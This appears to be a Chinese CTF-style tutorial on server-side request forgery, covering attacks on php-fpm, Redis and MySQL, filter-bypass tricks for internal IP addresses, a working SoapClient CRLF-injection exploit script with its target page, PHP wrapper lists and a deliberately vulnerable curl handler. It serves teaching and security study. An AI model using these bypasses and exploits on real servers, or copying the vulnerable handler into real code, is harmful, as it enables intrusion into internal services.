在攻击9000端口时，因为php-fpm支持通过param参数形式设置php.ini的值，所以给auto_append_file值设置为php://input读取，通过直接将PHP代码直接附加到流量尾部，通过php://input实现读取，在访问某个PHP文件时，会自动包含进去，如果有恶意代码，便会执行

简单来说就是

1. redis是用来写文件shell的，如果目录不可写就没办法执行木马
2. 3306是打mysql，必须没有密码，而且知道没有密码对应的用户名
	同时，mysql对web目录有写权限
3. 两者都需要对数据进行二次编码
4. 打9000时，因为php-fpm支持通过param参数形式这是php.ini的值
所以我们给auto_append_file值设置为php://input
然后通过直接将php代码附加到流量尾部，实现php://input读取
读取以后，在外面访问某个php文件时，会自动包含进去
里面如果有恶意的php代码，就会执行

2.2.4 php 原生类利用

利用反序列化和原生类配合，打ssrf请求

常用类为SoapClient类，就下面那个绕过方式

0x3 ssrf的绕过

3.1 使用enclosed alphanumerics绕过数字限制

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

3.2 ip地址进制绕过

https://tool.520101.com/wangluo/jinzhizhuanhuan/

ip 转10进制：2130706433

ip 转16进制：0x7F000001

3.3 特殊写法绕过

0:0.0.0.0
127.1:127.0.0.1
127。0。0。1

3.4 短网址绕过

短网址绕过：直接写http://url/

https://www.dwz.lc/

3.5 @绕过

www.baidu.com@vps
访问的是vps

3.6 利用soap实现ssrf(CLRF)

当调用soapClient的一个未知方法时，会调用它的构造方法

flag.php
<?php
$flag = "ctfshow{i_am_flag}";
$host= $_SERVER['HTTP_X_FORWARDED_FOR'];

if($host !=="127.0.0.1"){
    die("仅限内网访问");
}
$name = $_POST['name'];
if($name){
    echo $name;
    echo $flag;
    system("calc");
}

exp.php
<?php
$url = "http://127.0.0.1/flag.php";

$post = "name=admin";

$enter = chr(0x0d).chr(0x0a);

//,'user-agent'=>"ctfshow%0d%0aCookie:login=1"

$payload = "ctfshow[ctfshow]X-Forwarded-For:127.0.0.1[ctfshow]Content-Type:application/x-www-form-urlencoded[ctfshow]Content-Length:".strlen($post)."[ctfshow][ctfshow]name=admin[ctfshow][ctfshow]";

$payload = str_replace('[ctfshow]',$enter,$payload);

$object = new SoapClient(null,array('location'=>$url,'user_agent'=>$payload,'uri'=>''));

$object->ctfshow();

3.7 更多绕过

https://www.secpulse.com/archives/65832.html
https://xz.aliyun.com/t/2115

0x4 协议和伪协议

4.1 协议

计算机场景下的协议常常指的是通信协议（⽹络协议）。⽹络协议是通信计算机双⽅必须共同遵从的⼀组约定。如怎么样建⽴连接、怎么样互相识别等。只有遵守这个约定，计算机之间才能相互通信交流。

简单来说：大家都支持的协议：http:// https:// 百度网盘协议腾讯会议协议等

4.2 伪协议

伪协议其实算是⼀个虚概念，就是并不是所有语⾔、所有产品共⽤的。往往是某个语⾔或者某个程序⾃身，为了解决⾃身内部的通信需求，⾃⾏编制的⼀个协议。

简单来说，就是例如php://filter这个协议，大家都知道，但是这个协议只有PHP这个语言支持，放在python，java这个协议就不支持了。这种就是伪协议，又由于它是PHP支持的，所以叫PHP伪协议。当然如果是仅python支持的协议，那就可以叫python伪协议(只是举个例子，有没有俺也不知道)

4.3 PHP伪协议

【伪协议官方手册】https://www.php.net/manual/zh/wrappers.php

PHP 带有很多内置 URL ⻛格的封装协议，可⽤于类似 fopen()、 copy()、 file_exists() 和 filesize() 的⽂件系统函数。除了这些封装协议，还能通过 stream_wrapper_register() 来注册⾃定义的封装协议(但个人能力有限，复现了亿会儿实在没搞出来，虽然有的出结果了，但是感觉没太大意义，还是说是支持伪协议，如果需要执行，还是得用include等)

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
要了解某个软件组件的特性，最好看官方文档

利用：

https://blog.csdn.net/cosmoslin/article/details/120695429
https://view.inews.qq.com/a/20220602A000IS00
https://www.jianshu.com/p/8f1576b72420
https://www.bbsmax.com/A/B0zqrjpNJv/

4.4 php伪协议利用代码通解

跟踪输入点
输入点进入到文件系统操作函数，readfile(),file(),file_get_contents()这种
能够控制参数的开头

<?php 
$input = $_GET['file'];
file_get_contents($input."yu"); // 开干,需要其他的绕过
file_get_contents("yu".$input); // 开摆
?>

一般来说，正常是会有拼接的

4.5 curl支持ssrf协议

curl支持28种协议，并且curl在不同的语言都有插件或者是扩展。所以，加入遇到了通过curl执行的ssrf漏洞，那么可以执行其他的协议

gopher协议：用来包含其他协议

用例，curl读取文件

<?php
function curl($url){ 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

0x5 其它

报错

探测代码中的函数支持哪些函数，可以输入一个错误的协议，然后跟进报错，看代码支持

例如urllib模块支持如下协议

requests模块支持http,https

data协议利用

【Data URL - HTTP | MDN (mozilla.org)】https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URLs

历史ssrf的cve

https://github.com/smarx/hashcache-ctf
https://smarx.com/posts/2020/09/ssrf-to-redis-ctf-solution/
https://bugs.python.org/issue36276